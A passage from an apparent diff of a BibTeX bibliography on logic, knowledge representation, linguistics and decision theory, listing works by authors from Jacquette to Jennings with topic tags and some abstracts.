{Dale Jacquette}, + title = {Review of {\it The Logic of Intentional Objects: A + {M}einongian Version of Classical Logic}, by {J}acek + {P}a\'sniczek}, + journal = {Journal of Symbolic Logic}, + year = {1999}, + volume = {64}, + number = {4}, + pages = {1847--1849}, + xref = {Review of: pasniczek:1998a.}, + topic = {Meinong;(non)existence;intensionality;} + } + +@book{ jaeger_l:1999a, + author = {Leon Jaeger}, + title = {The Nature of Idioms}, + publisher = {Peter Lang}, + year = {1999}, + address = {Berlin}, + ISBN = {0-8204-4605-X (pbk)}, + topic = {idioms;} + } + +@article{ jaeger_m:1993a, + author = {Manfred Jaeger}, + title = {Circumscription: Completeness Reviewed}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {60}, + number = {2}, + pages = {293--301}, + topic = {circumscription;nonmonotonic-logic;} + } + +@incollection{ jaeger_m:1994a, + author = {Manfred Jaeger}, + title = {Probabilistic Reasoning in Terminological Logics}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {305--316}, + address = {San Francisco, California}, + topic = {kr;taxonomic-logics;probabilistic-reasoning;kr-course;} + } + +@incollection{ jaeger_m:1996a, + author = {Manfred Jaeger}, + title = {Representation Independence of Nonmonotonic Inference + Relations}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {461--472}, + address = {San Francisco, California}, + topic = {kr;nonmonotonic-logic;kr-course;} + } + +@incollection{ jaeger_m:1998a, + author = {Manfred Jaeger}, + title = {Reasoning about Infinite Random Structures with + Relational {B}ayesian Networks}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {570--581}, + address = {San Francisco, California}, + topic = {kr;extensions-of-Bayesian-networks;kr-course;} + } + +@article{ jaeger_m:2000a, + author = {Manfred Jaeger}, + title = {On the Complexity of Inference about Probabilistic + Relational Models}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {117}, + number = {2}, + pages = {297--308}, + acontentnote = {Abstract: + We investigate the complexity of probabilistic inference from + knowledge bases that encode probability distributions on finite + domain relational structures. Our interest here lies in the + complexity in terms of the domain under consideration in a + specific application instance. We obtain the result that + assuming NETIME/=ETIME this problem is not polynomial for + reasonably expressive representation systems. The main + consequence of this result is that it is unlikely to find + inference techniques with a better worst-case behavior than the + commonly employed strategy of constructing standard Bayesian + networks over ground atoms (knowledge based model construction).}, + topic = {bayesian-networks;complexity-in-AI;} + } + +@article{ jager:2002a, + author = {Gerhard J\"ager}, + title = {Some Notes on the Formal Properties of Bidirectional + Optimality Theory}, + journal = {Journal of Logic, Language, and Information}, + year = {2002}, + volume = {11}, + number = {4}, + pages = {427--451}, + topic = {optimality-theory;finite-state-automata;} + } + +@incollection{ jager_g:1991a, + author = {Gerhard J\"ager}, + title = {Notions of Nonmonotonic Derivability}, + booktitle = {Nonmonotonic and Inductive Logics}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {J\"urgen Dix and Klaus P. Jantke and P.H. Schmidt}, + pages = {74--84}, + address = {Berlin}, + missinginfo = {E's 1st name.}, + topic = {nonmonotonic-logic;} + } + +@incollection{ jager_g-stark:1998a, + author = {Gerhard J\"ager and Robert F. St\"ark}, + title = {A Proof-Theoretic Framework for Logic Programming}, + booktitle = {Handbook of Proof Theory}, + publisher = {Elsevier Science Publishers}, + year = {1998}, + editor = {Samuel R. Buss}, + pages = {639--682}, + address = {Amsterdam}, + xref = {Review: arai:1998a.}, + topic = {proof-theory;logic-programming;} + } + +@incollection{ jager_g:1999a, + author = {Gerhard J\"ager}, + title = {Deconstruction {J}acobson's {\bf Z}}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {133--138}, + address = {Amsterdam}, + topic = {categorial-grammar;nl-semantics;anaphora;} + } + +@article{ jager_g:2001a, + author = {Gerhard J\"ager}, + title = {First Order Theories for Nonmonotonic Inductive Definitions: + Recursively Inaccessible and Mahlo}, + journal = {Journal of Symbolic Logic}, + year = {2001}, + volume = {66}, + number = {3}, + pages = {1073--1089}, + topic = {inductive-definitions;nomonotinic-reasoning;proof-theory;} + } + +@article{ jager_t:1982a, + author = {Thomas Jager}, + title = {An Actualist Semantics for Quantified Modal Logic}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1982}, + volume = {23}, + number = {3}, + pages = {335--349}, + topic = {quantifying-in-modality;possible-worlds-semantics;} + } + +@book{ jahne-etal:1999a, + editor = {Bernd J\"ahne and Horst Haussecker and Peter Geissler}, + title = {Handbook of Computer Vision and Applications: + Volume 1, Sensors and Imaging}, + publisher = {Academic Press}, + year = {1999}, + address = {New York}, + ISBN = {0123797705 (set), 0123797713 (v. 1)}, + xref = {Reviews: rosenfeld:2000a.}, + topic = {computer-vision;} + } + +@book{ jahne-etal:1999b, + editor = {Bernd J\"ahne and Horst Haussecker and Peter Geissler}, + title = {Handbook of Computer Vision and Applications, + Volume 2, Signal Processing and Pattern Recognition}, + publisher = {Academic Press}, + year = {1999}, + address = {New York}, + ISBN = {0123797705 (set) 0123797721 (v. 2)}, + xref = {Reviews: rosenfeld:2000a.}, + topic = {computer-vision;} + } + +@book{ jahne-etal:1999c, + editor = {Bernd J\"ahne and Horst Haussecker and Peter Geissler}, + title = {Handbook of Computer Vision and Applications, + Volume 3, Systems and Applications}, + publisher = {Academic Press}, + year = {1999}, + address = {New York}, + ISBN = {0123797705 (set),012379773X (v. 3)}, + topic = {computer-vision;} + } + +@incollection{ jain_a-waibel:1981a, + author = {Ajay N. Jain and Alex H. Waibel}, + title = {Parsing with Connectionist Networks}, + booktitle = {Current Issues in Parsing Technology}, + publisher = {Kluwer Academic Publishers}, + year = {1981}, + editor = {Masaru Tomita}, + pages = {243--260}, + address = {Dordrecht}, + topic = {parsing-algorithms;connectionist-models;} + } + +@inproceedings{ jain_a-sharma:1990a, + author = {Sanjay Jain and Arun Sharma}, + title = {Hypothesis Formation and Language Acquisition with an + Infinitely-Often Correct Teacher}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Third Conference ({TARK} 1990)}, + year = {1990}, + editor = {Rohit Parikh}, + pages = {225--239}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {learning-theory;language-learning;} + } + +@incollection{ jameson:1989a, + author = {Anthony Jameson}, + title = {But What Will the Listener Think? Belief Ascription and + Image Maintenance in Dialog}, + booktitle = {User Models in Dialog Systems}, + publisher = {Springer-Verlag}, + year = {1989}, + editor = {Alfred Kobsa and Wolfgang Wahlster}, + pages = {255--312}, + address = {Berlin}, + topic = {user-modeling;} + } + +@incollection{ jameson:1995a, + author = {Anthony Jameson}, + title = {Logic Is Not Enough: Why reasoning about Another + Person's Beliefs Is Reasoning Under Uncertainty}, + booktitle = {Knowledge and Belief in Philosophy and Artificial + Intelligence}, + publisher = {Akedemie Verlag}, + year = {1995}, + editor = {Armin Laux and Heinrich Wansing}, + address = {Berlin}, + missinginfo = {pages}, + topic = {reasoning-about-knowledge;belief;} + } + +@inproceedings{ jamil:2000a, + author = {Hasan M. Jamil}, + title = {A Logic-Based Language for Parametric Inheritance}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {611--622}, + topic = {inheritance-theory;} + } + +@article{ jamnik-etal:1999a, + author = {Mateja Jamnik and Alan Bundy and Ian Green}, + title = {On Automating Diagrammatic Proofs of Arithmetic + Arguments}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {3}, + pages = {297--321}, + topic = {reasoning-with-diagrams;} + } + +@article{ jamzad-etal:2000a, + author = {Mansour Jamzad and Amirali Foroughnassiraei and Ehsan + Chiniforooshan and Reza Ghorbani and Moslem Kazemi and Hamidreza + Chitsaz and Farid Mobasser and Sayyed Sadjad}, + title = {Arvand: A Soccer Player Robot}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {21}, + number = {3}, + pages = {47--51}, + topic = {RoboCup;robotics;} + } + +@book{ janda-sandoval:1984a, + author = {Richard Janda and Maria Sandoval}, + title = {`{E}lsewhere' in Morphology}, + publisher = {Indiana Linguistics Club}, + year = {1984}, + address = {Department of Linguistics, University of Indiana, + Bloomington, Indiana}, + topic = {morphology;nm-ling;} + } + +@inproceedings{ janda:1985a, + author = {Richard Janda}, + title = {Echo Questions Are about What?}, + booktitle = {Proceedings of the Twenty-First Regional Meeting of the + Chicago Linguistics Society}, + year = {1985}, + publisher = {Chicago Linguistics Society}, + address = {Chicago University, Chicago, Illinois}, + missinginfo = {editor, pages}, + topic = {echo-questions;} + } + +@incollection{ jang:1992a, + author = {Yeona Jang}, + title = {Knowledge Representation and Incorporation in a Hybrid + System with Feedback}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {477--488}, + address = {San Mateo, California}, + topic = {kr;diagnosis;hybrid-kr-architectures;} + } + +@inproceedings{ janhunen-etal:2000a, + author = {Tomi Janhunen and Ilkka Niemel\"a and Patrick Simons + and Jia-Huai You}, + title = {Unfolding Partiality and Disjunctions in Stable Model + Semantics}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {411--419}, + topic = {logic-programming;stable-models;} + } + +@incollection{ janlert:1987a, + author = {Lars-Erik Janlert}, + title = {Modeling Change---the Frame Problem}, + booktitle = {The Robot's Dilemma: The Frame Problem + in Artificial Intelligence}, + editor = {Zenon Pylyshyn}, + publisher = {Ablex Publishing Co.}, + address = {Norwood, New Jersey}, + year = {1987}, + pages = {1--40}, + topic = {frame-problem;temporal-reasoning;} + } + +@incollection{ janlert:1996a, + author = {Lars-Erik Janlert}, + title = {The Frame Problem: Freedom or + Stability? With Pictures We Can Have Both}, + booktitle = {The Robot's Dilemma Revisited: The Frame Problem + in Artificial Intelligence}, + publisher = {Ablex Publishing Co.}, + year = {1996}, + editor = {Kenneth M. Ford and Zenon Pylyshyn}, + pages = {35--48}, + address = {Norwood, New Jersey}, + topic = {frame-problem;} + } + +@article{ jansana:1995a, + author = {Ramon Jansana}, + title = {Abstract Modal Logic}, + journal = {Studia Logica}, + year = {1995}, + volume = {55}, + number = {2}, + pages = {259--271}, + topic = {abstract-logic;modal-logic;} + } + +@article{ janssen-etal:1977a, + author = {Theo M.V. Janssen and Gerard Kok and Lambert Meertens}, + title = {On Restrictions on Transformational Grammars + Reducing the Generative Power}, + journal = {Linguistics and Philosophy}, + year = {1977}, + volume = {1}, + number = {1}, + pages = {111--118}, + topic = {transformational-grammar;formal-language-theory;} + } + +@incollection{ janssen:1984a, + author = {Theo M.V. Janssen}, + title = {Individual Concepts are Useful}, + booktitle = {Varieties of Formal Semantics}, + publisher = {Foris Publications}, + year = {1984}, + editor = {Fred Landman and Frank Veltman}, + pages = {171--192}, + address = {Dordrecht}, + topic = {nl-semantics;individual-concepts;} + } + +@incollection{ janssen:1996a, + author = {Theo M.V. Janssen}, + title = {Compositionality}, + booktitle = {Handbook of Logic and Language}, + publisher = {Elsevier}, + year = {1996}, + editor = {Johan {van Benthem} and Alice {ter Meulen}}, + pages = {417--473}, + address = {Amsterdam}, + topic = {nl-semantics;compositionality;} + } + +@incollection{ janssen:1999a, + author = {Theo M.V. Janssen}, + title = {{IF} Logic and Informational Independence}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {139--144}, + address = {Amsterdam}, + topic = {game-theoretic-semantics;} + } + +@article{ janssen:2001a, + author = {Theo M.V. Janssen}, + title = {Frege, Contextuality and Compositionality}, + journal = {Journal of Logic, Language, and Information}, + year = {2001}, + volume = {10}, + number = {1}, + pages = {137--143}, + topic = {compositionality;Frege;foundations-of-semantics;} + } + +@article{ janssen:2002a, + author = {Theo M.V. Janssen}, + title = {Independent Choices and the Interpretation of {IF} LOgic}, + journal = {Journal of Logic, Language, and Information}, + year = {2002}, + volume = {11}, + number = {3}, + pages = {367--387}, + topic = {game-theoretic-semantics;} + } + +@incollection{ jantke:1991a, + author = {Klaus P. Jantke}, + title = {Monotonic and Nonmonotonic Inductive Inference of Functions + and Patterns}, + booktitle = {Nonmonotonic and Inductive Logics}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {J\"urgen Dix and Klaus P. Jantke and P.H. Schmidt}, + pages = {161--177}, + address = {Berlin}, + missinginfo = {E's 1st name.}, + topic = {nonmonotonic-logic;} + } + +@article{ janusz:2001a, + author = {Mirek Janusz}, + title = {Review of {\it The Foundations of Causal Decision Theory}, + by {J}ames {J}oyce}, + journal = {The Philosophical Review}, + year = {2001}, + volume = {110}, + number = {2}, + pages = {296--300}, + xref = {Review of: joyce:1999a.}, + topic = {causal-decision-theory;} + } + +@incollection{ japaridze-dejongh:1998a, + author = {Giorgi Japaridze and Dick de Jongh}, + title = {The Logic of Provability}, + booktitle = {Handbook of Proof Theory}, + publisher = {Elsevier Science Publishers}, + year = {1998}, + editor = {Samuel R. Buss}, + pages = {475--536}, + address = {Amsterdam}, + xref = {Review: arai:1998a.}, + topic = {provability-logic;modal-logic;} + } + +@techreport{ jarborg:1973a, + author = {Jerker J\"arborg}, + title = {On the Categories of Change in Natural Language}, + institution = {Logical Grammar Reports, Department of Linguistics, + University of G\"oteborg}, + year = {1973}, + address = {S--412 56 G\"oteborg, Sweden}, + topic = {tense-aspect;} + } + +@techreport{ jarborg:1974a, + author = {Jerker J\"arborg}, + title = {On Interpreting Propositional Attitudes}, + institution = {Logical Grammar Reports, Department of Linguistics, + University of G\"oteborg}, + year = {1974}, + address = {S--412 56 G\"oteborg, Sweden}, + topic = {propositional-attitudes;belief;knowledge;} + } + +@article{ jarrah-halawani:2001a, + author = {Omar Al-Jarrah and Alaa Halawani}, + title = {Recognition of Gestures in {A}rabic Sign Language Using + Neuro-Fuzzy Systems}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {133}, + number = {1--2}, + pages = {117--138}, + topic = {sign-language;gesture-recognition;Arabic-language;} + } + +@article{ jarrett:1998a, + author = {Greg Jarrett}, + title = {Review of {\em {L}anguage Thought and Consciousness: + An Essay in Philosophical Psychology}, by {P}eter {C}arruthers}, + journal = {The Philosophical Review}, + year = {1998}, + volume = {107}, + number = {2}, + pages = {315--317}, + xref = {Review of carruthers:1996a.}, + topic = {language-of-thought;foundations-of-semantics;} + } + +@book{ jarvella-klein:1982a, + editor = {Robert J. Jarvella and Wolfgang Klein}, + title = {Speech, Place, and Action: Studies in Deixis and Related + Topics}, + publisher = {John Wiley and Sons}, + year = {1982}, + address = {New York}, + ISBN = {0471100455}, + topic = {demonstratives;deixis;pragmatics;} + } + +@article{ jarvie:2000a, + author = {I.C. Jarvie}, + title = {Review of {\it Culture: The Anthropologist's Account}, by + {A}dam {K}uper}, + journal = {Philosophy of Science}, + year = {2000}, + volume = {67}, + number = {3}, + pages = {540--546}, + xref = {Review of: kuper:1999a.}, + topic = {cultural-anthropology;philosophy-of-social-science;} + } + +@incollection{ jaspars:1993a, + author = {Jan O.M. Jaspars}, + title = {Logical Omniscience and Inconsistent Belief}, + booktitle = {Diamonds and Defaults}, + publisher = {Kluwer Academic Publishers}, + editor = {Maarten de Rijke}, + year = {1993}, + pages = {129--146}, + address = {Dordrecht}, + topic = {hyperintensionality;epistemic-logic;} + } + +@incollection{ jaspars-kameyama:1998a, + author = {Jan Jaspars and Megumi Kameyama}, + title = {Discourse Preferences and Dynamic Logic}, + booktitle = {Computing Natural Language}, + publisher = {{CSLI} Publications}, + year = {1998}, + editor = {Atocha Aliseda and Rob {van Glabbeek} and Dag Westerst{\aa}hl}, + pages = {67--96}, + address = {Stanford, California}, + topic = {dynamic-logic;modal-logic;model-preference; + discourse-reasoning;anaphora;} + } + +@incollection{ jaspars-koller:1999a, + author = {Jan Jaspars and Alexander Koller}, + title = {A Calculus for Direct Deduction with Dominance Effects}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {145--150}, + address = {Amsterdam}, + topic = {semantic-underspecification;} + } + +@article{ jaszczolt:1998a, + author = {Katarzyna M. Jaszczolt}, + title = {Discourse about Beliefs}, + journal = {Theoretical Linguistics}, + year = {1998}, + volume = {24}, + number = {1}, + pages = {1--28}, + topic = {belief;discourse-referents;discourse-representation-theory;} + } + +@book{ jaszczolt:1999a, + author = {Katarzyna M. Jaszczolt}, + title = {Discourse: Beliefs and Intentions: Semantic Defaults + and Propositional Attitude Reports}, + publisher = {Elservier}, + year = {1999}, + address = {Amsterdam}, + ISBN = {0-08-043060-0}, + topic = {pragmatics;propositional-attitudes;} + } + +@book{ jaszczolt:2000a, + editor = {Katarzyna M. Jaszczolt}, + title = {The Pragmatics of Propositional Attitude Reports}, + publisher = {Elsevier}, + year = {2000}, + address = {Amsterdam}, + ISBN = {0080436358}, + contentnote = {TC: + 1. K.M. Jaszczolt, "Belief Reports and Pragmatic Theory: The + State of the Art" + 2. S. Schiffer, "Propositional Attitudes in Direct-Reference + Semantics" + 3. P. Ludlow, "Interpreted Logical Forms, Belief Attribution, + and The Dynamic Lexicon" + 4. L. Clapp, "Beyond Sense and Reference: An Alternative + Response to the Problem of Opacity" + 5. M.J. Cresswell, "How Do We Know What {G}alileo Said? + 6. K. Bach, "A Puzzle about Belief Reports" + 7. K. Bach, "Do Belief Reports Report Beliefs?" + 8. A. Bezuidenhout, "Attitude Ascriptions, Context and + Interpretive resemblance" + 9. K.M. Jaszczolt, "The Default-Based Context-Dependence of + Belief Reports" + 10. D.W. Smith, "The Background of Propositional Attitudes and + Reports Thereof" + } , + topic = {propositional-attitude-reports;} + } + +@article{ jauregui-etal:2001a, + author = {Victor Jauregui and Maurice Pagnucco and Norman Y. Foo}, + title = {A Trajectory Approach to Causality}, + journal = {Studia Logica}, + year = {2001}, + volume = {67}, + number = {3}, + pages = {385--401}, + topic = {action-formalisms;ramification-problem;causality;} + } + +@book{ jayez:1988a, + author = {Jacques Jayez}, + title = {L'inference en Langue Naturel: Le Probl\'eme des Connecteurs; + Repr/'esentation et Calcul}, + publisher = {Herm\'es}, + year = {1988}, + address = {Paris}, + topic = {nl-as-kr;} + } + +@incollection{ jayez:1995a, + author = {Jacques Jayez}, + title = {Introducing {L}ex{L}og}, + booktitle = {Computational Lexical Semantics}, + publisher = {Cambridge University Press}, + year = {1995}, + editor = {Patrick Saint-Dizier and Evelyne Viegas}, + pages = {399--425}, + address = {Cambridge, England}, + topic = {computational-lexical-semantics;} + } + +@incollection{ jayez-rossari:1998a, + author = {Jacques Jayez and Corinne Rossari}, + title = {Discourse Relations Versus Discourse Marker Relations}, + booktitle = {Discourse Relations and Discourse Markers: Proceedings + of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Manfred Stede and Leo Wanner and Eduard Hovy}, + pages = {72--78}, + address = {Somerset, New Jersey}, + topic = {discourse-cue-words;discourse-structure;} + } + +@incollection{ jayez-godard:1999a, + author = {Jacques Jayez and Dani\'ele Godard}, + title = {True to Facts}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {151--156}, + address = {Amsterdam}, + topic = {(counter)factive-constructions;} + } + +@article{ jeavons-cooper_mc:1996a, + author = {Peter G. Jeavons and Martin C. Cooper}, + title = {Tractable Constraints on Ordered Domains}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {79}, + number = {2}, + pages = {327--339}, + acontentnote = {Abstract: + Finding solutions to a constraint satisfaction problem is known + to be an NP-complete problem in general, but may be tractable in + cases where either the set of allowed constraints or the graph + structure is restricted. In this paper we identify a restricted + set of contraints which gives rise to a class of tractable + problems. This class generalizes the notion of a Horn formula + in propositional logic to larger domain sizes. We give a + polynomial time algorithm for solving such problems, and prove + that the class of problems generated by any larger set of + constraints is NP-complete.}, + topic = {constraint-satisfaction;complexity-in-AI;Horn-theories;} + } + +@article{ jeavons-etal:1998a, + author = {Peter Jeavons and David Cohen and Martin C. Cooper}, + title = {Constraints, Consistency and Closure}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {101}, + number = {1--2}, + pages = {251--265}, + topic = {reasoning-about-consistency;} + } + +@incollection{ jefferson:1972a, + author = {G. Jefferson}, + title = {Side Sequences}, + booktitle = {Studies in Social Interaction}, + publisher = {The Free Press}, + year = {1972}, + editor = {D. Sudnow}, + pages = {294--338}, + address = {New York}, + missinginfo = {A's 1st name, E's 1st name.}, + topic = {conversation-analysis;} + } + +@article{ jefferson:1974a, + author = {G. Jefferson}, + title = {Error-Correction as an Interactional Resource}, + journal = {Language in Society}, + year = {1974}, + volume = {3}, + pages = {181--200}, + missinginfo = {A's 1st name, number}, + topic = {conversation-analysis;} + } + +@incollection{ jefferson:1978a, + author = {G. Jefferson}, + title = {Sequential Aspects of Story-Telling in Conversation}, + booktitle = {Studies in the Organization of Conversational + Interaction}, + publisher = {Academic Press}, + year = {1978}, + editor = {J. Schenkein}, + pages = {219--248}, + address = {New York}, + missinginfo = {A's 1st name.}, + topic = {conversation-analysis;} + } + +@incollection{ jefferson:1984a, + author = {G. Jefferson}, + title = {Stepwise Transitions out of Topic}, + booktitle = {Structures of Social Action}, + publisher = {Cambridge University Press}, + year = {1984}, + editor = {J.M. Atkinson and J. Heritage}, + address = {Cambridge}, + missinginfo = {A's 1st name, pages, date is a guess.}, + topic = {conversation-analysis;} + } + +@book{ jeffrey:1965a, + author = {Richard C. Jeffrey}, + title = {The Logic of Decision}, + publisher = {McGraw-Hill}, + year = {1965}, + address = {New York}, + edition = {1}, + xref = {Later edition: jeffrey:1983a.}, + xref = {Review: schick:1967a. Correction: jeffrey:1967a.}, + title = {Solving the Problem of Measurement: A Correction}, + journal = {The Journal of Philosophy}, + year = {1967}, + volume = {64}, + number = {12}, + pages = {400--401}, + xref = {Correction to jeffrey:1965a.}, + topic = {decision-theory;} + } + +@incollection{ jeffrey:1970a, + author = {Richard C. Jeffrey}, + title = {Dracula Meets Wolfman: Acceptance Vs. Partial Belief}, + booktitle = {Induction, Acceptance, and Rational Belief}, + publisher = {D. Reidel Publishing Co.}, + year = {1970}, + editor = {Marshall Swain}, + pages = {157--185}, + address = {Dordrecht}, + topic = {probability-kinematics;belief;} + } + +@article{ jeffrey:1977a, + author = {Richard C. Jeffrey}, + title = {A Note on the Kinematics of Preference}, + journal = {Erkenntnis}, + year = {1977}, + volume = {11}, + pages = {135--141}, + missinginfo = {number}, + topic = {decision-theory;preference-dynamics;} + } + +@incollection{ jeffrey:1977b, + author = {Richard C. Jeffrey}, + title = {Coming True}, + booktitle = {Intention and Intentionality}, + publisher = {Harvester Press}, + year = {1979}, + editor = {Cora Diamond and Jenny Teichman}, + pages = {251--260}, + address = {Brighton, England}, + acontenttnote = {Abstract: A semantics for the modal operator "I" + ("Ineluctably") in application to nonindexical statements p + which can lack truth value until such time as they come + true or come false, so that, e.g., if neither p nor -p has + yet come true, pv-p has neither truth value, although + i(pv-p) is true. Conditionals, and Aristotle's sea battle, + are considered. } , + topic = {philosophy-of-time;future-contingent-propositions;} + } + +@unpublished{ jeffrey:1979a, + author = {Richard L. Jeffrey}, + title = {Choice, Chance, and Credence}, + year = {1979}, + note = {Unpublished manuscript, Princeton University.}, + topic = {confirmation-theory;} + } + +@inproceedings{ jeffrey:1982a, + author = {Richard Jeffrey}, + title = {The Sure Thing Principle}, + booktitle = {{PSA} 1982: Proceedings of the Biennial Meeting of the + Philosophy of Science Association, Volume 2}, + year = {1982}, + editor = {Peter D. Asquith and Thomas Nickles}, + pages = {719--730}, + organization = {Philosophy of Science Association}, + publisher = {Philosophy of Science Association}, + address = {East Lansing, Michigan}, + topic = {decision-theory;dominance;} + } + +@book{ jeffrey:1983a, + author = {Richard C. Jeffrey}, + title = {The Logic of Decision}, + publisher = {University of Chicago Press}, + year = {1983}, + address = {Chicago}, + edition = {2}, + topic = {decision-theory;} + } + +@article{ jeffrey:1991a, + author = {Richard C. Jeffrey}, + title = {Matter of Fact Conditionals}, + journal = {Aristotelian {S}ociety, Supplementary Series}, + year = {1991}, + volume = {65}, + pages = {161--183}, + topic = {conditionals;} + } + +@book{ jeffrey:1992a, + author = {Richard C. Jeffrey}, + title = {Probability and the Art of Judgment}, + publisher = {Cambridge University Press}, + year = {1992}, + address = {Cambridge, England}, + ISBN = {0521394597}, + topic = {foundatiuons-of-probability;decision-theory; + foundations-of-statistics;} + } + +@incollection{ jeffrey:1992b, + author = {Richard Jeffrey}, + title = {Probable Knowledge}, + booktitle = {Probability and the Art of Judgment}, + publisher = {Cambridge University Press}, + year = {1992}, + editor = {Richard Jeffrey}, + pages = {30--43}, + address = {Cambridge, England}, + topic = {knowledge;probability;} + } + +@incollection{ jeffrey:1992c, + author = {Richard Jeffrey}, + title = {Valuation and Acceptance of Scientific Hypotheses}, + booktitle = {Probability and the Art of Judgment}, + publisher = {Cambridge University Press}, + year = {1992}, + editor = {Richard Jeffrey}, + pages = {14--29}, + address = {Cambridge, England}, + topic = {confirmation-theory;} + } + +@article{ jeffrey:1993a, + author = {Richard Jeffrey}, + title = {Causality in the Logic of Decision}, + journal = {Philosophical Topics}, + year = {1994}, + volume = {21}, + number = {1}, + pages = {139--151}, + topic = {causal-decision-theory;Newcomb-problem;} + } + +@article{ jelasity-dombi:1998a, + author = {M\'ark Jelasity and J\'osef Dombi}, + title = {{GAS}, A Concept on Modeling Species in Genetic + Algorithms}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {99}, + number = {1}, + pages = {1--19}, + topic = {genetic-algorithms;} + } + +@book{ jelinek:1997a, + author = {Frederick Jelinek}, + title = {Statistical Methods for Speech Recognition}, + publisher = {The {MIT} Press}, + year = {1997}, + address = {Cambridge, Massachusetts}, + xref = {Review: neufeld:1999a}, + topic = {speech-recognition;nl-statistics;hidden-Markov-models;} + } + +@incollection{ jelinek_e:1985a, + author = {Eloise Jelinek}, + title = {Quantification in {S}traits {S}alish}, + booktitle = {Quantification in Natural Languages, Vol. 2}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Emmon Bach and Eloise Jelinek and Angelika Kratzer and + Barbara Partee}, + pages = {487--540}, + address = {Dordrecht}, + topic = {nl-semantics;nl-quantifiers;Salish-language;} + } + +@article{ jenkins:1979a, + author = {Lyle Jenkins}, + title = {The Genetics of Language}, + journal = {Linguistics and Philosophy}, + year = {1979}, + volume = {3}, + number = {1}, + pages = {105--119}, + topic = {foundations-of-syntax;foundations-of-universal-grammar; + language-universals;} + } + +@book{ jenkins_l:1972a, + author = {Lyle Jenkins}, + title = {Modality in {E}nglish Syntax}, + publisher = {Indiana University Linguistics Club}, + year = {1972}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {modal-auxiliaries;} + } + +@article{ jennings_nr:1995a, + author = {Nicholas R. Jennings}, + title = {Controlling Cooperative Problem Solving in Industrial + Multi-Agent Systems Using Joint Intentions}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {75}, + number = {2}, + pages = {195--240}, + acontentnote = {Abstract: + One reason why Distributed AI (DAI) technology has been deployed + in relatively few real-size applications is that it lacks a + clear and implementable model of cooperative problem solving + which specifies how agents should operate and interact in + complex, dynamic and unpredictable environments. As a + consequence of the experience gained whilst building a number of + DAI systems for industrial applications, a new principled model + of cooperation has been developed. This model, called Joint + Responsibility, has the notion of joint intentions at its core. + It specifies pre-conditions which must be attained before + collaboration can commence and prescribes how individuals should + behave both when joint activity is progressing satisfactorily + and also when it runs into difficulty. The theoretical model has + been used to guide the implementation of a general-purpose + cooperation framework and the qualitative and quantitative + benefits of this implementation have been assessed through a + series of comparative experiments in the real-world domain of + electricity transportation management. Finally, the success of + the approach of building a system with an explicit and grounded + representation of cooperative problem solving is used to outline + a proposal for the next generation of multi-agent systems.}, + topic = {task-allocation;multiagent-systems;distributed-computing;} + } + +@book{ jennings_nr-wooldridge:1998a, + editor = {Nicholas R. Jennings and Michael J. Wooldridge}, + title = {Agent Technology: Foundations, Applications, and Markets}, + publisher = {Springer-Verlag}, + year = {1998}, + address = {Berlin}, + ISBN = {3540635912 (alk. paper)}, + topic = {multi-agent-systems;artificial-societies;} + } + +@article{ jennings_nr:2000a, + author = {Nicholas R. Jennings}, + title = {On Agent-Based Software Engineering}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {117}, + number = {2}, + pages = {277--296}, + acontentnote = {Abstract: + Agent-based computing represents an exciting new synthesis both + for Artificial Intelligence (AI) and, more generally, Computer + Science. It has the potential to significantly improve the + theory and the practice of modeling, designing, and implementing + computer systems. Yet, to date, there has been little systematic + analysis of what makes the agent-based approach such an + appealing and powerful computational model. Moreover, even less + effort has been devoted to discussing the inherent disadvantages + that stem from adopting an agent-oriented view. Here both sets + of issues are explored. The standpoint of this analysis is the + role of 